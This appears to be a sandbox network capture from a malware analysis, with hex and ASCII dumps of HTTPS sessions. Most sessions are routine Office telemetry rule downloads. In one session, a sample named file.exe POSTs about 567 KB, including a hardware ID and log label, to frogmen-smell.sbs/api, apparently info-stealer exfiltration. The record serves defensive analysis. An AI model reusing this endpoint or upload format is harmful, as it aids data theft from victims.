2024-11-14 16:24:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f6fa4055-801e-008c-27a1-347130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162429Z-r178fb8d765bflfthC1DFWuy9n00000002tg00000000m8n0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:29 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: b37f67ef-101e-008d-17ad-3492e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162429Z-r178fb8d765tq2dphC1DFW278s00000002n000000000g2ad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:29 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162429Z-1749fc9bdbd2jxtthC1DFWfk5w00000002r000000000b3ey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:29 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 9ec2e68b-201e-0096-6cd2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162429Z-16547b76f7fcrtpchC1DFW52e80000000ky000000000cqxr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:29 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:29 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 96cf3c30-101e-008d-3e69-3592e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162429Z-1749fc9bdbdr6qwphC1DFW0nv400000002tg00000000k265 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:30 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49791	172.67.174.133	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:30 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UUO3TX9JYDZKDDZ61L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567369 Host: frogmen-smell.sbs
2024-11-14 16:24:30 UTC	15331	OUT	Data Raw: 2d 2d 55 55 4f 33 54 58 39 4a 59 44 5a 4b 44 44 5a 36 31 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 45 35 33 30 34 45 44 37 32 35 39 45 33 36 45 38 45 30 42 45 41 31 34 45 35 33 34 33 37 38 0d 0a 2d 2d 55 55 4f 33 54 58 39 4a 59 44 5a 4b 44 44 5a 36 31 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 55 4f 33 54 58 39 4a 59 44 5a 4b 44 44 5a 36 31 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --UUO3TX9JYDZKDDZ61LContent-Disposition: form-data; name="hwid"E7E5304ED7259E36E8E0BEA14E534378--UUO3TX9JYDZKDDZ61LContent-Disposition: form-data; name="pid"1--UUO3TX9JYDZKDDZ61LContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-14 16:24:30 UTC	15331	OUT	Data Raw: 8b 2b 8a 99 6f 84 ce 93 45 04 24 f4 67 e7 c8 f4 21 70 02 2c 11 36 05 c4 ea 91 ec 8e db 72 92 30 1f ef cf ce 97 43 ad 2a ae 1f 35 fe 93 2b d1 68 5a e0 86 6d a0 d7 3b 69 90 34 9f dc 48 94 a1 26 49 fd ae 15 64 d1 20 cc b3 b5 dc 68 e8 6d 9f fa 98 80 cb b9 55 c8 3b ad 01 5e 1a 11 d6 e5 08 dd d3 7d 4c 71 5a 30 4b 75 c3 4c 69 f7 c2 93 b8 ce 92 1c 2c ac b7 64 91 5b b4 33 e1 e5 76 3a 6f 72 86 52 25 3b 5d a2 b8 7a 8f 15 9e 35 c7 0a 54 09 d9 35 53 be 1d a6 c2 c6 fc 40 6d c2 b1 d3 6a 1c 9a 3a c1 bc 85 5b 14 03 df 8a f0 2c f6 1d 21 ff 83 b1 6b b7 f4 11 1d d6 10 1e 92 a8 9e b8 d5 18 d0 8e db 7c 47 9c 7b 1f a7 89 8f 46 6d 15 0a 26 9c 62 62 c8 ce 1f 9e 25 5a 1c d7 bd b2 04 39 b6 5b d4 a4 06 d7 2c db f2 a3 38 19 a3 a4 bc d8 f9 3b 23 0a cd 77 59 66 13 8d 9b ba 16 ef d7 d4 Data Ascii: +oE$g!p,6r0C*5+hZm;i4H&Id hmU;^}LqZ0KuLi,d[3v:orR%;]z5T5S@mj:[,!k\|G{Fm&bb%Z9[,8;#wYf
2024-11-14 16:24:30 UTC	15331	OUT	Data Raw: 9b 37 d3 e4 26 ba 1c de ed cd 81 c6 be 56 3a 39 b1 5f 17 58 c8 07 97 0d b5 82 1d 98 17 ce 96 cd 14 22 55 23 92 7b 6b 5a dd 89 93 cf 3a d2 6c 2c b5 70 7e 5c f1 b8 21 81 b0 fb 4e 35 39 96 b4 94 dc 1f e9 7d ff 07 23 4a 96 3f 21 12 32 50 43 29 e5 29 b7 3b fe d7 6d 72 34 cc 33 df 2f 34 dc c7 0e 4a 47 19 05 aa 07 9b 35 04 15 11 30 6c b1 ae c7 5f 56 94 13 22 6b 8c 10 5e e5 44 b8 55 6f 95 fe 3c 9a f3 a4 54 18 da 24 f0 76 b9 da 25 f2 11 86 15 6c 18 a1 01 51 eb 6f 9a ef 88 06 16 ab ae 36 07 d0 d1 bb 86 ca 54 e4 8a b6 e2 77 2a 86 c2 5e 63 8a 03 c1 d6 6f 03 a7 15 ac d6 5f 31 2c 7e 6d c4 da ec 46 ed 50 3d bb bd 91 e7 3f ea ec 9a 9b 18 5f 1a 79 67 fd 71 f9 fa 58 e2 c0 c9 43 03 3f 03 d7 df 32 3c d9 5f 9e fd 96 50 b7 1d 3c 00 2a 16 56 ed 4b 54 ae db 8c b6 a6 06 3e d4 ff Data Ascii: 7&V:9_X"U#{kZ:l,p~\!N59}#J?!2PC));mr43/4JG50l_V"k^DUo<T$v%lQo6Tw^co_1,~mFP=?_ygqXC?2<_P<VKT>
2024-11-14 16:24:30 UTC	15331	OUT	Data Raw: 5f af cb 3e 59 e7 be cc 79 34 38 aa c5 7a a2 62 ff 81 6c 53 ff 55 a9 ef 4f d9 2f 8e 5d e8 95 8a 7e da d8 7d 1c ac f0 4d 94 b5 37 11 24 1e 01 d3 5a 18 69 15 90 32 35 b0 4a a2 ea ef 1c b4 59 24 8c 49 df b8 d1 41 d3 c2 24 ba 81 5e 02 11 03 2e 1f 57 fb 7e 08 93 af 75 5a 83 68 01 74 ce e2 7b 0f 00 e5 48 f8 75 03 c3 52 3e b3 92 7b 46 99 61 f6 81 84 88 16 6d 37 28 41 0b e4 bb 73 54 20 38 9e 40 b9 c4 3c 05 51 15 2e ac 67 23 33 66 f9 13 c1 44 19 74 f9 63 43 d5 e7 dd e4 a9 10 db d9 9b 47 90 ca c3 29 21 46 f9 b2 c1 16 f2 cf b7 26 a6 22 af 07 8a ad 0c 4a f8 eb cf 50 cb 9d 08 90 ca fc 3d 88 02 0c 19 75 77 b6 c8 a9 fa a8 37 05 7b 49 dd 7b 2d d4 72 34 b6 a7 e3 c8 f1 ac dc 2d 81 b7 5e c6 ad 5b f7 b8 0f 51 80 b1 28 dd 2a 0e d3 1f 04 fb 41 4d 03 61 84 45 c0 56 5b 13 18 53 Data Ascii: _>Yy48zblSUO/]~}M7$Zi25JY$IA$^.W~uZht{HuR>{Fam7(AsT 8@<Q.g#3fDtcCG)!F&"JP=uw7{I{-r4-^[Q(*AMaEV[S
2024-11-14 16:24:30 UTC	15331	OUT	Data Raw: 36 7e dc 6f 35 c3 5f e0 7a 89 8d 54 64 a9 b3 ad 1b 74 9d 87 36 1a f0 df 4d 27 6c 48 d4 2d 02 a4 2b 67 25 9f e1 cf 9e 58 73 ad 8f 16 37 d5 48 eb 69 16 22 36 05 98 7a 56 65 ed 16 88 f6 9e 6c ea 34 73 e4 d9 34 a1 b4 eb ad 2b 83 56 e1 90 f7 63 e3 98 12 52 52 a6 ba 00 10 62 5d 10 23 b9 6d 0f 1b 16 bc 59 b1 71 08 8f da 19 87 bb 40 ee 3b 20 0e e1 23 7a 1a c8 c1 53 6b 3d 12 11 9e f1 ef 5f e9 17 35 85 1e 10 ce 1a e7 4f f5 d1 2f 88 f9 b6 11 8e fb 76 f8 7e e8 cc 07 35 51 de 43 e2 ff ef b4 6b b0 09 a8 a1 18 10 a3 87 4a 85 c2 33 8e 83 cc 88 fa 8f 00 ae bf 00 ab b3 a4 ea 7e 4f 9c 3f 10 cb 30 32 72 29 9c 0a 82 e3 36 1d 53 a3 c3 47 32 36 5f 58 3f e2 e9 30 a3 7f 5f 11 43 c1 dd c3 d9 20 c9 8b ac 87 5a a9 36 83 4d d5 88 ee a9 6b b8 fd 99 01 d8 f4 77 46 7d 62 e5 62 a8 90 20 Data Ascii: 6~o5_zTdt6M'lH-+g%Xs7Hi"6zVel4s4+VcRRb]#mYq@; #zSk=_5O/v~5QCkJ3~O?02r)6SG26_X?0_C Z6MkwF}bb
2024-11-14 16:24:30 UTC	15331	OUT	Data Raw: b8 71 2d c9 13 dd b9 28 4c 26 61 69 b7 85 64 b5 5f f4 69 fc c6 d4 fb ca 69 1a 08 0b 55 21 81 05 fb cc ee 7e ed 96 c1 df 9d 19 1b e6 da 65 fb 3b 4d 6a f5 fb f3 c3 76 dc a1 1d ac 7f 5e ca 14 09 54 20 d1 7c 0f 07 38 b1 d5 bf b1 4c 5f 6a 33 57 73 94 cf 6e 8a 14 a1 1a 89 87 a8 c2 af 88 bd 7c b9 79 86 b5 a4 5a fd 8b f8 17 b3 d5 15 41 9a c6 2f e2 b1 69 0a 77 e0 0c 19 98 8f 33 9f fc 0d 38 24 4e 8f 18 55 fd c0 c6 8c f5 4e ec 97 c7 d4 57 36 f8 16 32 84 4e 57 1d 74 d8 64 ec 0b 6c 09 a0 1c 8b 7c 9f 2a 1e 55 5f 8d 96 8d 22 15 7c 71 b4 db 53 2b fd de ec 5e f0 93 41 54 d3 f3 f5 9a 95 b6 5c 61 cf f9 3c 43 d8 70 cf ef d9 c2 da d4 27 d4 ee 0f 84 a9 6f 85 22 ce 80 3c bd 4d 1b d1 b7 fd a0 1f ba b6 fa 43 54 61 a8 78 4f 7d e5 26 67 f3 50 21 d6 54 88 2c 2c e8 7b cf 74 3e 0c 26 Data Ascii: q-(L&aid_iiU!~e;Mjv^T \|8L_j3Wsn\|yZA/iw38$NUNW62NWtdl\|*U_"\|qS+^AT\a<Cp'o"<MCTaxO}&gP!T,,{t>&
2024-11-14 16:24:30 UTC	15331	OUT	Data Raw: 9b 48 fc f7 9b 90 c1 bf 0d 51 c2 9f d6 e9 df 3f 4f f4 33 b0 d7 4e 49 5f 51 b9 79 95 c8 77 2c e0 75 94 ca 7f 02 35 bd a7 0f 3a 94 07 97 5b 6f 3d 51 b0 98 d5 8d f2 8b 7b 1e a8 73 c4 fa c8 25 f7 ae 1f 25 67 ff a0 6a 9e 07 ec d8 38 13 3f 29 26 ed c1 a6 3c c7 85 9f cf 0f 7e 3b c0 2a b3 d1 ed e8 eb 7c 78 7d 30 a4 6e bc 38 b5 63 3f 39 d7 99 7b dd f2 ba 43 d7 d9 7c cd 82 b4 36 66 ef cf fc 73 1d 9d b1 b2 83 7b 2f 2c f5 2d ac bc 55 77 cc a1 fe d9 1f 76 5e cb 1c 44 3c 3e 07 f1 49 42 b5 15 be df bd 76 7c f0 64 9c 4f 77 de c3 97 9c d5 d0 95 3a 75 62 25 df 68 ff df f4 c1 44 da c0 c3 49 e7 db 35 39 7f 85 2d 74 45 75 35 48 5d 0a 5b 58 2f b9 81 42 85 b4 8e a5 e5 e4 36 8c a5 ae bc a5 ad da 58 b8 2e 18 fe 8c 4d cb 68 b8 d2 12 74 84 24 56 57 f3 95 fa 27 ca ed ed c2 44 56 fb Data Ascii: HQ?O3NI_Qyw,u5:[o=Q{s%%gj8?)&<~;*\|x}0n8c?9{C\|6fs{/,-Uwv^D<>IBv\|dOw:ub%hDI59-tEu5H][X/B6X.Mht$VW'DV
2024-11-14 16:24:30 UTC	15331	OUT	Data Raw: 9c d7 5c 73 a9 a7 52 db 9b 98 99 5b 7e f5 48 74 71 ab 7e bb d0 79 17 5b f7 51 f0 72 3e 95 4a 9a 0c c0 3f 91 87 db e7 3c 45 9b 03 cf 0c af c6 30 8e e1 5b 16 44 0d f8 d7 bf f7 20 77 83 99 05 e5 16 ba 20 26 25 a9 de 60 51 3b 1e d6 c4 78 4e 49 e7 b0 df 31 95 51 e6 58 e6 76 6c 67 b7 b6 1b 0c 47 84 3f d1 6d 37 e2 4b 70 3f ed f4 a6 f3 d5 c0 0e 84 6b 3f 42 db b3 5d 9b b3 db 44 1e 91 a6 bf 9e 15 95 db 88 c3 a3 04 57 f0 c0 cf 1c cf f6 39 e0 3c 54 3e cf 21 8f bc 2f 65 13 20 07 12 fb 6e 34 75 b9 34 60 17 cd e1 5e 42 e5 2f 89 f7 62 33 2f da 2d eb cf 10 64 2e 06 20 93 eb 16 c6 21 51 32 ef 2c 8b 3b 05 dd d8 78 36 92 4c a4 c8 6d 38 96 e4 cd 7b 08 f1 4f 24 d5 ed c7 e7 cf 7b b6 89 ca 2b 81 84 d5 d9 fe 66 dd b4 a6 9e 4b 40 4f c9 4c 27 fd 82 fe eb 7d fa 9a ad af 16 69 ca 95 Data Ascii: \sR[~Htq~y[Qr>J?<E0[D w &%`Q;xNI1QXvlgG?m7Kp?k?B]DW9<T>!/e n4u4`^B/b3/-d. !Q2,;x6Lm8{O${+fK@OL'}i
2024-11-14 16:24:30 UTC	15331	OUT	Data Raw: 10 e5 b9 d9 7d 3e ce 80 31 28 9f c8 de c1 1d 09 26 11 c4 57 1d 93 43 f7 24 8c 31 8a 01 62 d1 26 05 4e 1a 24 04 5a c1 ca 30 eb 1e 6f 4c c6 6c fd b6 c5 77 7d 83 8d ab ed 36 e3 a9 e2 39 9c d6 87 8a ff f6 85 cf 6a 97 f1 c4 79 6a 73 31 72 29 d3 2c 4c 6c c6 80 4d 0e dd 33 67 26 b7 1f 4d 22 6d a4 2d 21 bf a1 45 7e 19 56 86 64 9f c9 84 e1 34 ac cc 28 34 ba d7 0c b1 56 93 da 42 e6 12 cb 8f ff 89 0e 23 60 85 e2 94 42 a1 84 0a 81 66 bd 21 93 8a 0f 32 da 56 f6 b8 6e 9b 2e c5 61 c5 6c 68 45 13 ec 30 e9 28 c0 c6 ec bb a8 59 ca 0b 08 22 67 46 05 dd 25 8f b0 5e 30 ac 38 d9 46 9b 12 5b ab 37 67 28 26 5b c0 dc c0 d8 bf 0e a7 02 1e 7d 11 65 88 22 54 d4 82 74 0b da 46 40 71 f7 7d 3b dc d2 7c 10 45 45 e8 03 b6 63 4f 09 f6 5a c6 6c 7c 0f 93 94 ad 2c 75 9d a6 b0 c8 7f f9 20 a5 Data Ascii: }>1(&WC$1b&N$Z0oLlw}69jyjs1r),LlM3g&M"m-!E~Vd4(4VB#`Bf!2Vn.alhE0(Y"gF%^08F[7g(&[}e"TtF@q};\|EEcOZl\|,u
2024-11-14 16:24:30 UTC	15331	OUT	Data Raw: af ef 21 c1 6f f7 67 36 51 24 da 66 4a cb 6b e4 8a d6 58 78 e1 c8 15 4e 98 62 32 91 ea 0d a0 41 63 2a 5b 8d 88 c0 eb ef c4 9d 2d 42 6e 7e f4 6f a6 ee e1 03 ca 7f 67 7d 73 78 b9 f9 43 34 72 6a 34 0e fb f1 00 db e3 11 ca c8 af f8 fc ee a8 3d 6a ba 70 b9 7d 49 ff 31 57 92 5a 60 4a 08 72 8e 24 e5 a0 1b be e5 20 43 d1 07 88 70 1b c9 c2 25 f1 b4 0f 20 a2 6f 8e 50 06 d3 c1 60 5b 15 10 37 38 40 a1 41 49 4a 2b 6b 3f f8 ab 4f 7d ad bd 85 de 54 a0 52 2f 01 b5 13 11 ab fe 23 d8 dd 75 2c d6 da 0f 5c 01 68 14 de 15 c0 91 ee 48 ed 71 d0 79 18 7b 22 b8 4b 5c ec 4d d5 b6 12 3b 36 e8 22 0a ff 22 46 07 08 22 11 36 6a 59 40 ed 08 af b3 6a f4 dd 18 d6 63 c9 4d 9b c8 b0 92 7d 22 d9 7c 35 1f 01 ef c8 51 fd 37 67 39 0f e3 e1 5b 7b 8d 74 b8 de 34 78 1d 90 7e 6d 64 98 8c 60 d7 e7 Data Ascii: !og6Q$fJkXxNb2Ac*[-Bn~og}sxC4rj4=jp}I1WZ`Jr$ Cp% oP`[78@AIJ+k?O}TR/#u,\hHqy{"K\M;6""F"6jY@jcM}"\|5Q7g9[{t4x~md`
2024-11-14 16:24:34 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e51t48hfhbf6h7va3pqcrebf07; expires=Mon, 10-Mar-2025 10:11:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ukXFXoFm1GDX6tS9UHrQK7yvpJ5nOXW0raFGSJ8FAAia0Uv5GzwmT6Ifz0Agx4NqCMP3RXm0%2F6Pt2yX2Kx%2BpnZvkGRz1xKu3DD5NGtkGenDIRpOZq46F221EmKss1ksboklFw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e285a24ad593ab2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1166&sent=208&recv=602&lost=0&retrans=0&sent_bytes=2846&recv_bytes=569917&delivery_rate=2490111&cwnd=229&unsent_bytes=0&cid=d4c3bc57e9022c22&ts=4383&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:30 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
